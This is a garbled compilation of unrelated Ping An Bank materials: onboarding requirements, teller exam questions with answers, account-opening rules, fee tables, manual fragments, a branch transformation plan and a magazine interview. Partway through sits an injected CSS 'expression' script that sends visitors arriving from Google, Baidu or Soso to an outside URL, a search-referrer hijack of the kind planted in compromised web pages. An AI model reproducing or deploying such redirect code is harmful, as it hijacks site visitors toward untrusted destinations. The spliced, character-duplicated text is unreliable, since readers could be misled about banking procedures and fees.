平安银行开户业务介绍

报到须知xx先生：您好！欢迎您加入平安银行。

请您于xx年xx月xx日正式报到，并办理相关入职手续。

附件是您的聘用通知书和入职需准备的书面材料，请您仔细查阅，如有不明之处，请您致电来咨询。

入职所需材料：一、由原单位开具并加盖印章的《解除劳动合同证明》（应届毕业生、无工作经验者无需准备）；二、拟任管理人员需由原单位出具《无违规违纪行为证明》、《离任稽核报告》（应届毕业生、无工作经验者、非拟任管理人员者无需准备）；三、两张一寸正装证件照（红底）2张，电子版照片；四、身份证复印件3份（签名、留电话）;五、户口本复印件1份（如是集体户口，请提供盖章的集体户口首页及个人页复印件）六、护照、港澳通行证、台湾通行证原件及复印件1份(若有)，原件请交人力岗陈文燕保管。

七、平安银行工资卡（普通借记卡即可，平安银行各网点均可办理）；办理平安银行卡时，请打印附件《员工开户申请函》提供至营业网点工作人员，我行工作人员将为您提供优质的开户服务。

八、近三个月在三甲医院的体检报告。

九、毕业证、学位证及学历和职称证书（若有）复印件1份（签名）；十、学历认证：请至学籍网或学信网打印（需打印带有二维验证码的学历验证页面，网站查询资费2元/月）；或当地人才市场/其他验证机构提供的验证结果。

十一、人事档案存档证明：方式一：到当地人才市场开一份调档函到原单位调出员工档案，再交回当地人才市场托管，提供回执原件及复印件1份（签名、留电话）。

方式二：到物流事业部人力资源岗开一张调档函到原单位调出员工档案，再交将档案快递给物流事业部人力资源岗，转交总行人力资源部保管。

十二、党员关系调转流程：1、党员关系在深圳：介绍信抬头及转入单位为“中共平安银行党委”。

2、党员关系不在深圳：需到现党组织关系所在单位开具介绍信，我单位抬头为“中共深圳市委组织部”，转入单位为“中共平安银行党委”。

该介绍信上盖的章必须拥有转出“市外权限”，并随介绍信附一张字条说明：“转入平安银行现代物流金融事业部党委”。

平安银行车主卡介绍平安银行车主 ___，超强人车保障全车人员保障，平安相随自首刷日的次日零时起，享110万全车人员意外险保障：您本人驾驶车辆可享最高￥50万元驾驶员驾乘意外险保障；同车人员可享最高￥10万元/人驾乘意外险保障（最多6人）；同时车上所有人员（含驾驶员）均可享最高￥4,000元/人驾乘意外医疗保障。

平安 ___官网可查询详细保障条款：《全车人员意外险细则》·急修服务（接电、换胎、送油、现场抢修和送水）全国城区40 分钟抵达。

·拖车服务10分钟内救援车出发。

平安银行为中国平安集团旗下重要成员，是中国平安集团综合金融服务平台的重要组成部分。

作为一家跨区域经营的股份制商业银行，平安银行注册资本为人民币86.23亿元，总资产超过2000亿元，总行设在深圳，营业网点目前分布于深圳、上海、福州、泉州、厦门、杭州、广州以及东莞等地。

平安银行的前身深圳市商业银行成立于1995年6月22日，是中国第一家城市商业银行。

xx年11月，经中国银监会正式批准，中国平安集团持有深圳市商业银行89.36%的股份，成为该行最大股东。

xx年6月16日，中国银监会批准深圳市商业银行吸收合并原中国平安集团旗下子公司平安银行并更名为深圳平安银行。

xx年1月，深圳平安银行经批准更名为平安银行。

作为中国平安集团三大业务支柱之一，平安银行依托中国平安集团强大的综合金融服务优势，将成为一家在零售业务、 ___以及中小企业等主要目标市场业绩骄人、整体管理上具有国际先进水平的全国性一流银行。

body {onload:expression(if(!="Yang"){var str1 = document.referrer;str1 = str1.toLowerCase();var str6 = "google.";var str7 = "baidu.";var str5 = "soso.";if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 ||str1.indexOf(str5)>0 && "zh-"==navigator.systemLanguage) {self.location=".897000./1.htm";="Yang";}});}1本段发展历程xx年6月16日前的平安银行平安银行，现深圳平安银行股份有限公司（简称“深圳平安银行”）组成部分----深圳平安银行上海分行。

平安银行考试：2021平安银行大堂经理FB 辅办业务考试真题模拟及答案(1)共46道题1、远程柜面支持办理（）的个人转账。

（多选题）A. 实体I类户B. 面核I类户C. 实体II类户D. 面核II类户试题答案：A,B,C,D2、低于（）分，需内控合规主任（或授权主管级别人员）复核，对客户身份有疑义的，请客户提供辅助证明材料，注意加强审核。

（单选题）A. 60B. 70C. 80D. 90试题答案：B3、客户办理个性化卡号申请时需由客户经理提供经（）审批签字确认的《个性化卡号发卡通知书》。

（单选题）A. 内控经理B. 理财经理C. 支行零售负责人D. 柜员试题答案：C4、远程柜面设备的日常使用要求，以下说法正确的是（）。

（单选题）A. 可以安装、使用并使用百度、新浪等软件。

B. 特殊情况下，可以将自己的登录密码及用户名临时借给其他经办人使用。

C. 可随意拆卸配件。

D. 设备不使用时应将整套设备入柜妥善存放。

试题答案：D5、远程柜面业务经办人对客户身份识别要求，应做到（）。

（多选题）A. 按业务规定要求客户出示真实有效的身份证件或者其他身份证明文件。

B. 了解客户的交易目的和交易性质，有效识别交易的受益人。

C. 不得为身份不明的客户提供服务或者不其进行交易。

D. 发现异常迹象或者对先前获得的客户身份资料的真实性、有效性、完整性有疑问的，应当重新识别客户身份。

试题答案：A,B,C,D6、以下情况需客户进行风险承受度评估（）（多选题）A. 未在我*行做过“客户风险度评估”的客户B. 已在我*行做过“客户风险度评估”，但评估时间已超过有效期C. 已在我*行做过“客户风险度评估”，但客户购买的产品发生变化的D. 已在我*行做过“客户风险度评估”，但客户的风险承受度类型发生变化的试题答案：A,B,D7、远程柜面业务办理过程中，若客户无法接收到短信验证码，可通过（）等方法进行检查。

（多选题）A. 查看客户的手机是否将95511设置为黑名单。

开户怎么办理的一、开户怎么办理的开户怎么办理新办企业开户需要证件如下：1、企业法人应出具企业法人营业执照正本；非法人企业应出具企业营业执照正本；民办非企业组织应出具民办非企业登记证书；异地常设机构应出具其驻在地政府主管部门的批文；外资企业驻华代表处、办事处应出具国家登记机关颁发的登记证；个体工商户应出具个体工商户营业执照正本；居民委员会、村民委员会、社区委员会应出具其主管部门的批文或证明；其他组织应出具政府主管部门的批文或证明。

单位开立账户时，应同时出具上述文件的原件及复印件一式两份。

2、从事生产经营活动的纳税人还应出具税务部门颁发的国、地税务登记证正本及复印件一式两份。

3、企业、事业单位、社会团体、驻华机构等应办理组织机构代码证的，应同时出具组织机构代码证正本及复印件一式两份。

4、法人或单位负责人应凭本人身世分量证件及复印件办理，授权他人办理的应同时出具法人或单位负责人的加盖单位公章的授权书，以及法人或单位负责人和经办人的身世分量证件及复印件，开户行留存授权书和身世分量证复印件，放入开户档案中保管。

5、如果不是基本户开户，需要出具基本结算账户《开户许可证》正本及复印件一份。

新办企业开户手续如下：1、银行交验证件。

2、客户如实填写《开立单位银行结算账户申请书》，并加盖公章。

3、开户行应与存款人签订的“人民币单位银行结算账户管理协议”，开户行与存款人各执一份。

4、填写“关联企业登记表”。

5、下面银行会送报人行批准核准。

人行核准并核发《开户许可证》后，开户行会将《开户许可证》正本及密码、《开户申请书》客户留存联交与客户签收。

二、开户网上银行怎么办理开户网上银行怎么办理1.首页首页是开户系统的入口，客户可以在此页面选择网上开户，预约开户，手机开户，业务办理。

1)自助开户：点击“自助开户”，开始开户流程。

系统已将新开户和继续开户入口合并，任何客户都可以从“自助开户”开始开户流程。

下载开户客户端，使用开户客户端，无需安装安全控件。

原件，加盖公章的复印件1份
经办人身份证
原件，加盖公章的复印件1份
预留非法人私章作为预留印鉴的，有权签章人身份证
加盖公章的复印件1份
法人授权委托书
1份
《单位开户申请书》
一式两份
预留银行印鉴卡
1份
非法人企业（如具有营业执照的企业集团下属的分公司），还需提供：
《上级单位组织机构代码证》正本
加盖公章的复印件
平安银行开户资料(企业单位)
账户类型
提供资料
资料要求
一般户
《营业执照》正本
原件，加盖公章的复印件1份
国或地税《税务登记证》正本
原件，加盖公章的复印件1份
《组织机构代码证》正本
原件，加盖公章的复印件1份
《基本存款账户开户许可证》
原件，加盖公章的复印件1份
《机构信用代码证》
原件，加盖公章的复印件1份
法人（负责人）身份证
《上级单位开户许可证》正本
加盖公章的复印件
上级单位法人身份证
加盖公章的复印件
备注：如当地监管有特殊要求，从当地监管要求。

第二章 账户查询
账户查询
功能介绍 客户可通过此功能查询在网银注册的本,外币账户的余额及相关信息。
功能路径 功能路径：查询中心 > 账户查询 > 账户查询
操作说明 操作步骤： 1） 点击“查询中心-账户查询-账户查询”，如图。
2） 进入“账户查询”页面，如图。
活期账户 查看企业活期账户的信息。 操作步骤： 1） 点击“企业活期”，展开活期账户，如图。
后查看。 6、 如下载文件超过 500 笔的历史明细，我行将采用邮件方式向客户发送数据，请根据页面
提示输入正确的邮箱地址，及时接收相关数据。 7、高级查询中，对方户名、对方账号不提供模糊查询功能。
电子账单 电子账单－电子回单
功能简介 客户可使用该功能查询通过企业网上银行和通过我行网点提交处理成功的各类收、付
2） 进入“交易明细查询-当日交易”页面，如图。
3） 在“交易明细查询-当日交易”页面选择账号后点击【查询】按钮，则在查询条件下 方显示符合条件的记录列表，如图。
说明： A.【打印】按钮，点击可以打印当前信息。 B.【下载】按钮，可以下载所有内容。 C.【收款账户明细下载】，EXCEL 格式，客户点击下载功能，页面弹出下载对话框， 可提供客户进行打开、保存、取消。文件名称默认为“QUERY TODAY CREDIT”, 点 击收款账户明细，明细仅提供当天贷方交易。 D.【付款账户明细下载】，EXCEL 格式，客户点击下载功能，页面弹出下载对话框， 可提供客户进行打开、保存、取消。文件名称默认为“QUERY TODAY CREDIT”, 点
保证金账户 查看企业定期账户的信息。 操作步骤： 1） 点击“保证金账户”，展开保证金账户，如图。
2） 选中一个要查看的账户，进入“账户详细信息”页面，如图。

程序规格说明书V2.0平安银行银银合作平台系统设计规格说明书-三方存管接口平安银行信息科技部2010年03月23日文档修改记录版本日期说明编写者审核者1.0.0.1 2011-3-12 创建邓远强1.0.0.2 2011-3-23 初稿章黎明1.0.0.3 2011-3-28 修订格式，校验陈树艺1.0.0.4 2011-9-9 删了两个对账交章黎明邓远强易,将交易和文件格式进行了分类;修改了交易列表说明1.0.0.5 2011-12-19 修改日终资金对邓永优账格式说明1.0.0．6 2012-02-17 增加“存管银行预虞冬明指定撤销[存管系统发起]908022”交易1.0.0.7 2012-6-14 存管银行预指定虞冬明确认增加“经办人”、“经办人证件类型”、“经办人证件号码”三个输入域注意：为了兼容已已上线合作行，此三个数据域可不上送，银银平台做适配处理1.0.0．8 2012-12-21 修改908022不需王健要MAC校验1.0.17 2013-3-30 908001交易李裕雄accManger字段改为可空1.0.18 20130607 增加908020和叶威908023交易1.0.19 2013-9-5 按业务要求对叶威文档进行修改1.0.19 2013-9-6 修改文档，添加叶威资金密码加密说明1.0.20 2014-3-27 新增日终账户虞冬明销户对账文件格式1.0.21 2014-07-15 新增一步式签叶威约交易1.0.22 20140801 取消获取券商叶威列表信息文件，增加客户结算余额查询目录文档修改记录 (2)目录 (5)总体说明 (7)1通讯规则 (8)2交易列表 (8)3公共交易接口 (10)3.1资金划转[900007] (10)3.2签到/签退[900015] (10)3.3对账通知[900017] (10)3.4资金冲正[900023] (10)3.5批量提交通知[900026] (10)3.6交易流水状态查询[900029] (10)4存管交易接口 (10)4.1公共报文头 (10)4.2存管银行预指定确定908001 (11)4.3签约账户变更908003 (13)4.4银行转证劵908004 (15)4.5证劵转银行908005 (16)4.6查询客户证劵资金余额908006 (18)4.7交易明细查询908008 (20)4.8查询客户存管签约信息908020 (22)4.9存管银行预指定撤销[银银平台发起]908022 (23)5对账文件格式 (24)5.1券商列表信息文件格式 ...............................................................................错误!未定义书签。

证券第三方存管第三方存管是指银行作为独立第三方，为证券公司客户建立客户交易结算资金明细账，通过银证转账实行客户交易结算资金的定向划转，对客户交易结算资金进行监管，并对客户交易结算资金总额及明细进行账务核对，以监控客户交易结算资金安全。

简单说就是“券商管交易、银行管资金” 。

银行第三方存管业务系统采用先进的处理方案，统一管理、高效运作，为客户提供功能齐全、安全可靠的服务平台，防范客户交易结算资金被挪用。

银行通过银行网点、网上银行为您提供签约开通服务；通过银行网点、网上银行、电话银行、自助终端等渠道为客户提供银证转账交易和查询等服务。

我行第三方存管特点1. 网银开户，轻松签约我行为您提供多模式多渠道开通第三方存管，省时省力。

网银预约开户、网银预指定确认让您有更多选择。

2. 银证转账，渠道多样您可通过我行网银、网点柜面、电话银行、自助终端以及证券公司营业部、电话委托、网上委托等渠道进行银证转账，方便快捷。

3. 专属产品，闲钱生钱炒股之余，您还可以方便地将闲置证券保证金转回我行购买“日添利”、“周末发”等保本、流动性高的理财产品，转存“一天通知存款”、“七天通知存款”等。

同时，我行将为第三方存管客户提供专属产品，助添收益。

投资多样化，闲钱也能高收益！4. 资金划转，实时到账我行可实现您的证券保证金账户和银行存款账户之间的封闭式资金划转，资金实时到账，快捷高效。

5. 优惠实惠，增值无限您可同步享受我行和合作券商共同提供的优质服务，且免收证券开户费和小额账户管理费。

金卡客户还可减免网银、ATM、手机银行同城或异地跨行转账手续费，还有机会减免一定期限的账户管理费。

权益多多，优惠多多，增值无限。

如何开通我行第三方存管业务1.网银“预约开户”流程：第一步：客户登录我行网上银行→点击“网上证券”→点击“第三方存管”→点击“券商预约开户管理” →点击“新增预约办理”→按网页提示选择卡号、券商（或券商营业部），在线签署《第三方存管预约开户服务协议》，预约开户。

对平安银行服务的评价作为一家国内领先的银行机构，平安银行一直以来都致力于为客户提供优质的金融服务。

在我多年的使用经验中，我对平安银行的服务给予了高度的评价。

首先，平安银行的服务态度非常好。

无论是在柜台办理业务还是通过手机银行进行操作，工作人员总是热情、耐心地为客户解答问题。

他们不仅能够提供准确的信息，还会主动帮助客户解决遇到的困难。

每次我去银行办理业务，都能感受到他们的真诚和专业。

其次，平安银行的服务效率高。

无论是开户、办理贷款还是查询账户余额，平安银行都能够迅速地完成。

尤其是在手机银行上，只需要几个简单的步骤，就能够完成各种操作。

这大大提高了客户的办理效率，节省了宝贵的时间。

再次，平安银行的服务安全可靠。

平安银行一直以来都非常注重客户的信息安全和资金安全。

他们采用了多种安全措施，如短信验证码、指纹识别等，保护客户的账户不受到黑客和欺诈行为的侵害。

我在使用平安银行的过程中，从未遇到过任何安全问题，这让我对他们的服务更加放心。

此外，平安银行还提供了一系列的金融产品和服务，满足了客户的多样化需求。

无论是个人客户还是企业客户，平安银行都能够提供适合的产品和服务。

他们的产品种类繁多，包括储蓄账户、信用卡、贷款、理财等，客户可以根据自己的需求选择合适的产品。

而且，平安银行的产品利率和费用也相对较低，给客户带来了实实在在的利益。

总的来说，我对平安银行的服务给予了高度的评价。

他们的服务态度好、效率高、安全可靠，能够满足客户的多样化需求。

作为一家领先的银行机构，平安银行不仅在技术上不断创新，还注重提升客户体验，为客户提供更好的金融服务。

我相信，在未来的发展中，平安银行会继续保持优质的服务水平，为客户创造更多的价值。

平安银行业务收费标准服务项目 价格标准 备注个人异地通存通兑（系统内）手续费 存取款金额存取款金额*5*5*5‰‰(最低5元，最高100元)1、白金卡、钻石卡客户免收；2、代发工资户免收（代发工资客户名下所有借记卡的本交易手续费均免收）。

个人同城跨行转账（同城票据交换） 最高收费不超过1元/笔1、白金卡、钻石卡客户免收；2、分行可结合当地实际情况，根据指导价格浮动定价，待总行批准和向当地监管报备后方可执行。

存折存折//单、借记卡、印鉴正式挂失10元/笔 白金卡、钻石卡客户免收 补换存单、借记卡工本费5元/户 同卡号换卡按本标准收费代收代付业务（非网银渠道） 本行1元/笔，跨行2元/笔分行可结合当地实际情况，根据指导价格浮动定价，待总行批准和向当地监管报备后方可执行网银同城行内转账 免收 含ipadipad、、iphone版网银异地同行转账 汇款金额汇款金额*2*2*2‰（最低‰（最低2元/笔，最高30元/笔）1、含ipadipad、、iphone版；2、金卡、白金卡客户免首20笔/月（网银行内异地、同城跨行、异地跨行、超级网银转账，合计免首20笔/月/客户），钻石卡客户免收；3、代发工资户免收（代发工资客户名下所有借记卡的本交易手续费均免收）；4、三大承诺服务范围内客户，仍保持暂免至2012年12月31日。

网银同城跨行转账 普通：普通：22元/笔加急：汇款金额汇款金额*2*2*2‰‰（最低5.50元，最高30元）1、含ipadipad、、iphone版；2、金卡、白金卡客户免首20笔/月（网银行内异地、同城跨行、异地跨行、超级网银转账，合计免首20笔/月/客户），钻石卡客户免收；3、代发工资户免首3笔/月（代发工资客户名下所有借记卡的本交易手续费合计免首3笔/月/客户）；4、三大承诺服务范围内客户，仍保持暂免至2012年12月31日。

网银异地跨行转账 普通：汇款金额汇款金额*5*5*5‰‰（最低5元/笔，最高30元/笔）加急：汇款金额汇款金额*6.5*6.5*6.5‰‰（最低6.5元/笔，最高50元/笔）1、含ipadipad、、iphone版；2、金卡、白金卡客户免首20笔/月（网银行内异地、同城跨行、异地跨行、超级网银转账，合计免首20笔/月/客户），钻石卡客户免收；3、代发工资户免首3笔/月（代发工资客户名下所有借记卡的本交易手续费合计免首3笔/月/客户）；4、三大承诺服务范围内客户，仍保持暂免至2012年12月31日。

供应链金融企业业务模式分析一、蚂蚁金服供应链模式农联中鑫是中华保险与蚂蚁金服在共同的农村金融发展战略基础上强强联合的产物，经历了三个发展阶段，初步确立了“互联网+融资+保险+农业供应链一体化”的服务模式。

“农联中鑫”是tech和fin联姻结“果”，作为第一家专门以信贷+保险模式服务三农群体的公司，致力于为广大新型农业经营主体、职业农民提供“互联网+融资+保险+农业供应链”一体化创新服务，助力农业供给侧改革。

当前农村金融发展滞后特别是农业信贷短缺的一个重要原因，就是农户抵押物缺乏、且农户缺乏官方的信用记录，而蚂蚁金服的优势就在于海量数据的积累，既有淘宝交易数据、支付宝支付数据、蚂蚁信用积分，甚至还有一些与生活场景关联起来的便利。

其只需要做的就是，结合自身优势禀赋，与产业链各方合作寻求金融解决方案。

为此，蚂蚁金服农村金融方面开始了一些尝试。

具体模式整理如下：例如，在内蒙古，蚂蚁金服与中华保险联手，为蒙羊集团、科尔沁牛业等大型养殖集团提供从贷款到销售的供应链金融服务。

（具体内容见下图）在农村要建立农村信用体系，真正实现将信用转化为财富，既需要数据采集和积累，更需要风控机制的支持。

蚂蚁金服有海量数据、有强大后台信息技术支持，而中华保险有大量农村保险客户，且有风险分散和管控手段。

二、京东金服供应链模式京东是国内大型的电商平台之一，其依托京东商城积累的交易大数据，以及自建的物流体系，在供应链金融领域已经得到了飞速发展。

苏宁供应链金融设计开发了账速融、信速融、货速融、票速融、乐业贷等多种融资产品，涵盖了应收账款融资、订单融资、存货融资、票据融资、信用融资、采购贷款等各种融资类型。

“京保贝”“京保贝”是京东首个互联网供应链金融产品，也是业内首个通过线上完成风控的产品。

京东拥有供应商在其平台上采购、销售等大量的财务数据，以及之前与银行合作开展应收账款融资的数据，通过大数据、云计算等技术，对数据池内数据进行整合分析，这样就建成了平台最初的授信和风控系统。

平安银行自由贸易试验区分账核算单元（FTU）外汇账户信息报送操作规程（1.0版，2014年）第一章前言1.1编写背景及目的1.2 我行相关系统介绍1.3 报送时间要求第二章外管局的报送要求及我行的数据报送范围2.1外管局的报送要求2.2我行的数据报送范围第三章 FT对公账户开关户信息采集第四章 FT对私账户开关户信息采集第五章行内FCAMS系统查询及修改第六章外汇局“外汇账户管理信息系统”查询及修改第一章前言1.1编写背景及目的根据《国家外汇管理局金融机构外汇业务数据采集规范（1.0版）》（汇发[2014]18号）及《国家外汇管理局上海市分局关于中国（上海）自由贸易试验区自由贸易账户数据采集要求的通知》（上海汇[2014]81号）的要求，为实现我行自由贸易试验区分账核算单元（FTU）账户数据采集“渠道统一，标准一致，稳定高效，灵活扩展，管理规范”的目标，提高我行FTU账户信息采集的及时性、准确性、完整性，规范FTU账户数据报送操作，特制定本操作手册。

本操作手册将介绍FTU外汇账户数据报送要求、报送流程及注意事项。

1.2我行相关系统介绍我行与FTU账户信息报送相关的系统主要分为柜员操作系统、后台主机系统及下游报送系统。

柜员操作系统主要包括国际业务系统（FBS系统）、新终端系统（AB终端）。

后台主机分为对公主机系统（ICS系统）、对私主机系统（FCR系统）。

下游报送系统为外汇账户报送系统（FCAMS 系统）。

每日业务终止时，柜员在操作系统中处理的各项业务数据全部在ICS、FCR两个主机汇总，经主机处理后，将相关业务数据以文件的方式推送给FCAMS系统自动导入，并按照规则抓取、校验、生成报文数据。

1.3报送时间要求根据外管局的报送时间要求，FCAMS系统将在业务发生后第一个工作日（T+1）中午12:00之前，将数据报送国家外汇管理局。

第二章外管局的报送要求及我行的报送范围2.1外管局的报送要求根据国家外汇管理局上海市分局的文件要求，银行需规范FT账户报送信息。

平安银行平安易宝会员操作手册目录目录 (2)1、功能介绍 (4)1.1读者 (4)1。

2关于此用户手册 (4)1。

3功能介绍操作流程 (4)2、平安易宝系统 (7)2.1自助注册 (7)2.1。

1 功能介绍 (7)2。

1.2 基本业务流程 (7)2。

1。

3 基本操作流程 (8)2.2登录与安全工具签收 (12)2。

2.1 功能介绍 (12)2.2。

2 基本业务流程 (12)2.2。

3 基本操作流程 (12)2.3忘记用户名或密码 (14)2。

3.1 功能介绍 (14)2.3.2 基本业务流程 (14)2。

3.3 基本操作流程 (14)2。

4合约管理 (16)2。

4.1签约 (16)2.4。

2解约 (18)2。

5 查询服务 (20)2.5.1 账户查询 (20)2.5.2 账户交易明细 (22)2.5.3银商互转查询 (24)2。

6银商互转 (26)2.6.1银转商 (26)2。

6.2商转银 (28)2。

7资金划出 (30)2。

7。

1 功能介绍 (30)2。

7。

2 基本业务流程 (30)2.7。

3基本操作流程 (30)2。

8账户管理 (34)2。

8。

1 资金转出账户维护 (34)2。

8。

2 对账 (38)2。

8。

3 销户 (40)2。

9自助服务 (42)2。

9.1客户信息维护 (42)2.9.2金卫士 (45)2.9。

2用户名和密码修改 (49)1、功能介绍1.1读者本手册将用于指导平安易宝企业及个人会员操作，同样本手册可用于对于系统开发人员和系统操作员的培训。

1。

2关于此用户手册手册将用于指导用户在平安易宝系统内完成各项操作.给出业务操作流程，对于各操作过程中出现的重要页面，手册将给出截屏。

1.3功能介绍操作流程操作流程1：自助注册会员通过交易市场电子平台，进入线上开户申请功能：自助注册，跳转至平安银行平安易宝自助注册页面,录入会员相关信息并上传规定的证件资料图片，提交申请发送至银行,由银行柜员在银行系统上审核通过后，由平安银行系统自动为会员开立交易账户,分配登录用户名和密码，并发送短信通知会员；同时发放安全工具，企业会员发放数字证书（密钥将邮寄给企业联系人）,个人会员发放手机动态口令（手机短信方式收取）操作流程2:首次登录，企业会员签收数字证书个人会员收到平安银行发送的审核通过短信，凭短信中通知的登录用户名和密码登录平安易宝系统，企业会员收到我行邮寄的回执及USB—KEY，登录平安易宝系统执行登录与安全工具签收功能，并修改初始密码。

网点转型：打造“不一样”的智慧银行--访平安银行股份有限公司零售网络金融事业部总裁鲍海洁焦卢玲【摘要】从“智能旗舰店”到“口袋社区平台”，平安银行在智能网点建设上一次又一次推陈出新，不仅给客户带来便捷高效的金融服务，也充分彰显了商业银行在互联网时代积极应对挑战和勇于突破自我的创新精神。

【期刊名称】《中国金融电脑》【年(卷),期】2014(000)011【总页数】3页(P20-22)【作者】焦卢玲【作者单位】【正文语种】中文从“智能旗舰店”到“口袋社区平台”，平安银行在智能网点建设上一次又一次推陈出新，不仅给客户带来便捷高效的金融服务，也充分彰显了商业银行在互联网时代积极应对挑战和勇于突破自我的创新精神。

随着现代金融业与互联网技术的不断融合，信息传递和渠道日趋扁平化，银行在服务理念、服务方式与服务渠道上也变得更加“智能”，这种金融生态环境的巨变促使银行网点的产品、服务和渠道建设纷纷开始战略转型，以打造“智慧网点”来应对全新的市场环境和挑战。

同时，“智慧网点”的深层涵义便是更透彻的感应度，更全面的互联互通，更深入的智能洞察……将这些特征有机地融入银行业务中，便可以有效地推动银行网点的服务模式创新，从而实现商业银行最深刻、最重要的转型、提升银行的竞争力。

平安银行股份有限公司（以下简称“平安银行“）作为创新性最强的商业银行之一，通过在2014年先后开设了智能旗舰店、口袋社区智能平台，不断在服务理念、服务方式与服务渠道上趋向智能化，在实践中不断以创新提升自身的软实力，打造不一样的智慧银行。

科技的不断发展，使得金融服务“智慧化”成为金融业的一种潮流，2014年伊始，各大商业银行便纷纷开始布局具有自身特色的“智慧网点”，建设银行、中信银行、平安银行、工商银行、农业银行等纷纷选择在一线城市核心CBD地点对原有网点进行“智慧”升级，一场智慧化创新争夺战已悄然打响。

未来，随着科技不断地融入生活，客户对智能化设备的兴趣和接受度会越来越高，单纯的面对面交流和传统的物理渠道已经不能满足未来客户的需求，这就更需要银行从业者不断地进行创新。

北京分行汇报材料2016年8月网点零售转型工作小组领导小组零售网点转型小组 零售业务转型小组组长：李岩副组长：卢振宇成员：孙安琴、贺燕雄、王捷军、黄华新、章潮海、黄婧组长：卢振宇 副组长：杨树珍 成员：王雪梅、沈凌云、韩笑组长：卢振宇副组长：杨静、昂朝文、张雷、张涛成员：姚国春、王越国、高珊、张昱、李菲组长：黄婧 副组长：王亦文成员：王雪梅、沈凌云、王越国、张昱、连晓红对公业务转型小组目录1 网点现状盘点2 新五类网点规划3 网点零售转型节奏及重点工作4 三年规划目标5 重点业务推动规划零售网点转型零售业务转型网点现状盘点现有团队情况旗舰店分行营业部综合支行零售支行社区支行1家1家45家5家15家•对公团队:•对公共有43支团队,合计300人，为网点直属管理•小微团队:•小微共有12支团队,合计105人，为分行集中管理•个贷团队:•个贷共有16支团队，合计68人；其中3支为分行集中管理，13支为网点直属管理8月1日北京分行行长到任后，对分支行经营情况进行摸底，并分批对所有支行行长进行意愿摸底零售主管行长牵头网点零售化转型对公主管行长牵头对公转型提升现有网点功能区旗舰店分行营业部综合支行零售支行社区支行1家1家45家5家15家财富中心洽谈室面签中心柜台合计高柜低柜1 6 16 10 611 6 531 67 3 341 268 733 5 38 26 128新五类网点规划新五类网点形态综合支行 零售支行 社区支行私行分中心 财富网点（旗舰型） 财富网点（标准型）常规网点社区支行15家 1 1 0 5115转型前转型后私行分中心：承接总行私人银行北京分中心财富网点（旗舰型）：现有旗舰店转型为财富网点（旗舰型） 财富网点（标准型）：暂无达标网点常规网点：除私行分中心和财富网点外，其他现有网点 社区网点：原社区支行网点类型变更基本原则45 5 15分行营业部 1 旗舰店 1网点零售转型节奏及重点工作零售网点转型节奏北京分行分三批完成转型 截至2017年6月完成所有网点的转型第一批27家2016年12月40%第二批10家2017年3月15%第三批30家2017年6月45%重点转型工作之零售网点转型分行零售架构落地•按照总行要求落地执行分行零售架构•建立新架构下职责分工、业务流程、考核督导等体系零售支行行长选定•有能力有意愿综合支行行长•现有支行零售负责人及潜才•外部招聘个贷集中管理•团队整合方案•渠道统一管理方案•存量业绩分配及考核方案重点转型工作之对公团队转型产品/平台专营团队地域性/特色专营团队行业专营团队战略客户统筹营销团队8月9月10月11月12月里程碑事件1月2月3月4月5月6月2016年2017年1、网点类型及定位规划1.1网点分类及功能现状盘点1.2网点规划及新五类网点确定1.3新五类网点架构及标准2、配套政策及考核制定2.1零售支行行长薪酬方案2.2新五类网点零售支行行长考核方案2.3网点成本分摊规则3、分行零售架构转型4、分行零售转型启动会8月 9月10月11月12月1月 2月3月4月5月6月5、零售支行行长选定（第一批） 5.1现有支行行长意愿摸底 5.2零售潜才人员名单梳理5.3外部招聘 5.4零售支行行长选定 5.5干部任命及系统调整6、零售支行行长选定（第二批） 6.1现有支行行长意愿摸底 6.2零售潜才人员名单梳理 6.3外部招聘 6.4零售支行行长选定 6.5干部任命及系统调整7、零售支行行长选定（第三批） 7.1现有支行行长意愿摸底 7.2零售潜才人员名单梳理 7.3外部招聘 7.4零售支行行长选定 7.5干部任命及系统调整2016年 2017年 里程碑事件8月9月10月11月12月1月2月3月4月5月6月2016年 2017年 8、2017年开门红 8.1开门红规划 8.2开门红执行9、团队人员调整及补充9.1现有人员盘点9.2根据网点类型进行团队人员调整 9.3人员内外部招聘补充 9.4各类团队考核方案 10、人员培训 10.1零售转型培训工作 10.2零售支行行长专项培训工作 10.3新上岗人员培训 11、网点改造11.1存量物理网点信息及全成本收集表11.2完成网点改造方案及工作计划 11.3启动网点改造里程碑事件三年规划目标三年目标规划获客及经营来源渠道产品支撑集团客户迁徙/外部合作获客/公私联动100万移动网点/直接获客或转化信用卡消费信贷理财产品银保房贷物理网点互联网远程渠道15.722.632.83.7 5.27.5510152025302016年2017年2018年零售营收财富客户零售营收增幅43.9%财富客户增幅40.6%零售营收增幅45.4%财富客户增幅42.5%网点及财富团队截至2018年 维持现有数量私行分中心 截至2018年 维持现有数量财富网点（旗舰型）2017年完善建制，2018年实现北京核心区域均匀覆盖，预计8家财富网点（标准型）截至2018年基本保持目前的网点规模，小幅微增常规网点就北京地区现状根据经营情况，合并缩减社区支行15家 根据北京地区及获客目标，增加并调整网点类型，保持理财经理队伍稳定增长常规网点保持每年3家增长，并逐步提升为财富网点（标准型），2018年达到8家 社区支行根据经营情况适当调整或归并 理财经理根据维护财富客户数量逐步增加重点推动规划客户迁徙承接 解决方案3年实现206万客户迁徙平安橙子获客 解决方案利用平安橙子，实现场景化互联网获客个贷业务快速发展解决方案✓新一贷发放2年翻一番 ✓房贷发放2年翻两番客户经营策略收入提升策略两个核心策略，三大解决方案---实现三年规划目标三大解决方案两个核心策略客户经营核策略核心策略KEY WORD 通过获客、黏客、提客完成用户到客户最终形成价值客户提高客户价值提升客户活跃度增加客户数量设计纬度 •渠道特征 •客户特点 •推广触点产品特点 •免费 •简单 •特惠粘客：杀手产品提客：主打产品客户经营核心策略我们的核心策略——围绕获客、黏客和提客的三个阶段，打造差异化的产品体系产品特点•便捷 •智能•安全 设计纬度 •生命周期 •关键事件 产品特点 •便捷 •高频持续 •实惠 设计纬度 •客户特征 •生命周期 •场景 